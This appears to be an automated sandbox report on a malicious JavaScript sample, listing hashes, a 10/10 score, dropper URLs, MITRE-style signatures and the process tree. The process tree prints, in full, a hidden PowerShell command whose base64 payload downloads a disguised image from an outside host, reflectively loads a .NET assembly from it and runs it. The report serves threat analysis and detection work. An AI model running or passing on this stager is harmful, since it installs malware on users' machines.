Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 22:40

General

  • Target
    jaffacakes118_ddb80566a26593df8c0ba4a3ada8ce29d71432f3c3b30192d1f3a664b602bdc2.js
  • Size 6.8MB
  • Sample260910-2lmhjayzc1
  • SHA256 ddb80566a26593df8c0ba4a3ada8ce29d71432f3c3b30192d1f3a664b602bdc2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://archive.org/download/optimized_msi_20251125_1103/optimized_MSI.png

  • exe.dropper

    http://archive.org/download/optimized_msi_20251125_1103/optimized_MSI.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_ddb80566a26593df8c0ba4a3ada8ce29d71432f3c3b30192d1f3a664b602bdc2.js
    1⤵
      PID:476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGluY3VuYWJ1bGEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50Ow0KJGluY3VuYWJ1bGEuSGVhZGVycy5BZGQoIlVzZXItQWdlbnQiLCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjYyNjEuOTUgU2FmYXJpLzUzNy4zNiIpOw0KJGluY3VuYWJ1bGEuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRpbmN1bmFidWxhLkhlYWRlcnMuQWRkKCJBY2NlcHQtTGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjkiKTsNCiRwcmVzY2llbmNlID0gJ2h0dHA6Ly9hcmNoaXZlLm9yZy9kb3dubG9hZC9vcHRpbWl6ZWRfbXNpXzIwMjUxMTI1XzExMDMvb3B0aW1pemVkX01TSS5wbmcnOw0KJGZpZnR5c29tZXRoaW5ncyA9ICRpbmN1bmFidWxhLkRvd25sb2FkRGF0YSgkcHJlc2NpZW5jZSk7DQokbmVjdGFyaWVzICA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZygkZmlmdHlzb21ldGhpbmdzKTsNCmlmICgkbmVjdGFyaWVzIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKSB7DQogICRtYWRyaW5hID0gJG1hdGNoZXNbMV07DQogICRkYWNoc2h1bmRzID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmluYSkpOw0KICBbQ2xhc3NMaWJyYXJ5MS5DbGFzczFdOjpWQUkoJzBoSGR1TTNiMDVXWnRWM1l2UlViVzlTWTBWR2N5RjJZCg13SVRKaFpYWjE1MExuSjNidU1uYmt0MlkxUm1MdkJYWXpOSGN3RjJjeVZtZHBKSFp6ZDNiazVXYTNCSGF3UjNjdmgyTHZvRGMwUkhhJywnJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdNU0J1aWxkJywnJywnTVNCdWlsZCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnanMnLCcxJywnJywnVGFza19OYW1lJywnMScsJycsJycsJycpOw0KfQ==')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1148

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1148-0-0x00007FFDD4B3F000-0x00007FFDD4B40000-memory.dmp

          memory/1148-3-0x00007FFDD49B0000-0x00007FFDD5354000-memory.dmp

          memory/1148-4-0x000001C53B8E0000-0x000001C53B902000-memory.dmp

          memory/1148-5-0x00007FFDD49B0000-0x00007FFDD5354000-memory.dmp

          memory/1148-6-0x00007FFDD49B0000-0x00007FFDD5354000-memory.dmp

          memory/1148-7-0x00007FFDD49B0000-0x00007FFDD5354000-memory.dmp

          memory/1148-8-0x00007FFDD49B0000-0x00007FFDD5354000-memory.dmp

          memory/1148-9-0x00007FFDD49B0000-0x00007FFDD5354000-memory.dmp

          memory/1148-11-0x00007FFDD49B0000-0x00007FFDD5354000-memory.dmp

          memory/1148-12-0x00007FFDD49B0000-0x00007FFDD5354000-memory.dmp